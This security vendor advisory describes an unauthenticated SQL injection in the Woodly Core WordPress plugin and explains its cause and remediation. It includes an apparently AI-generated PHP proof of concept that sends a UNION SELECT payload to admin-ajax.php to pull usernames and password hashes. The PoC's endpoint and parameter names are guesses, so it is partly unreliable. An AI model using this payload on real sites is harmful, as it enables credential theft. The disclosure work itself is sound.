Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69310: Woodly Core <= 1.4 – Unauthenticated SQL Injection (woodly-core)

Plugin woodly-core
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.4
Patched Version
Disclosed January 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69310 (metadata-based): This vulnerability is an unauthenticated SQL injection in the Woodly Core WordPress plugin, version 1.4 and earlier. The flaw allows attackers to execute arbitrary SQL commands via a user-supplied parameter, leading to sensitive data extraction from the WordPress database. The CVSS score of 7.5 (High) reflects its network-based, low-complexity attack vector with no authentication requirement.

The root cause is improper neutralization of special elements in an SQL command (CWE-89). The vulnerability description states insufficient escaping on a user-supplied parameter and a lack of sufficient preparation on an existing SQL query. Atomic Edge research infers the plugin likely constructs SQL queries by directly concatenating user input into the query string without using parameterized queries via `$wpdb->prepare()`. This conclusion is based on the CWE classification and the description’s mention of insufficient escaping and preparation.

Exploitation likely occurs via a public-facing WordPress hook, such as an AJAX endpoint registered with `wp_ajax_nopriv_` or a REST API endpoint. An attacker would send a crafted HTTP request containing a malicious SQL payload in a specific parameter. For example, a request to `/wp-admin/admin-ajax.php` with an `action` parameter like `woodly_core_action` and an injectable parameter like `id` could be used. A payload such as `1′ UNION SELECT user_login,user_pass FROM wp_users– -` would attempt to extract user credentials.

Remediation requires using WordPress’s built-in database abstraction layer correctly. The fix must replace direct string concatenation in SQL statements with prepared statements using `$wpdb->prepare()`. Input validation and sanitization functions like `sanitize_text_field()` should also be applied, but they are not substitutes for proper query parameterization. The patched version should ensure all SQL queries use `$wpdb->prepare()` with placeholders for variable data.

Successful exploitation leads to full compromise of the WordPress database confidentiality. Attackers can extract all data, including hashed user passwords, session tokens, personal information, and other sensitive content stored in plugin-specific tables. This data exposure can facilitate further attacks like password cracking, account takeover, or privilege escalation within the WordPress site.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69310 - Woodly Core <= 1.4 - Unauthenticated SQL Injection
<?php
/**
 * Proof-of-concept for CVE-2025-69310.
 * This script attempts to exploit an unauthenticated SQL injection in the Woodly Core plugin.
 * The exact endpoint and parameter names are inferred from common WordPress plugin patterns.
 * Assumptions:
 * 1. The vulnerable endpoint is an AJAX handler accessible without authentication (wp_ajax_nopriv_).
 * 2. The vulnerable parameter is named 'id' or a similar common identifier.
 * 3. The plugin slug 'woodly-core' maps to an AJAX action prefix.
 */

$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS

// Common inferred AJAX action names based on plugin slug
$possible_actions = ['woodly_core_action', 'woodly_core_ajax', 'woodly_action', 'woodly_ajax'];

// SQL injection payload to extract the first username from the wp_users table
$sql_payload = "1' UNION SELECT user_login,user_pass FROM wp_users LIMIT 1-- -";

$headers = [
    'User-Agent: Atomic Edge PoC',
    'Accept: */*',
    'Content-Type: application/x-www-form-urlencoded',
];

foreach ($possible_actions as $action) {
    echo "[*] Testing AJAX action: $actionn";
    
    // Try POST request with 'id' as the vulnerable parameter
    $post_data = http_build_query([
        'action' => $action,
        'id' => $sql_payload,
    ]);
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    echo "    HTTP Code: $http_coden";
    // Check for indicators of a successful injection
    if (strpos($response, 'admin') !== false || strpos($response, '$P$') !== false) {
        echo "[!] Potential SQL injection success. Response snippet:n";
        echo substr($response, 0, 500) . "nn";
        break;
    }
    echo "n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School